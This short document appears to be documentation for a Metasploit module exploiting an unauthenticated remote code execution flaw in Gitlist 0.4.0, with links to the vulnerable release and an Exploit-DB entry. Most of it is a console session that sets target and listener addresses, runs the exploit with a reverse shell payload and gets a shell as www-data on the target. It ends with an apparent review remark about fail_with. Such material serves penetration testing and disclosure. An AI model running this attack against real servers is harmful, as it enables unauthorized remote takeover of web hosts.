Gitlist 0.4.0 Unauthenticated RCE

You can get the vulnerable version here: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz

Exploit-DB: http://www.exploit-db.com/exploits/33929/

```
msf exploit(gitlist_exec) > show options

Module options (exploit/linux/http/gitlist_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.17     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /gitlist/        yes       The URI od the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.31     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(gitlist_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DeVoMBnLnS3Tckfm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "DeVoMBnLnS3Tckfm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.17:32876) at 2014-06-30 20:13:14 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Please, provide a reason to ```fail_with```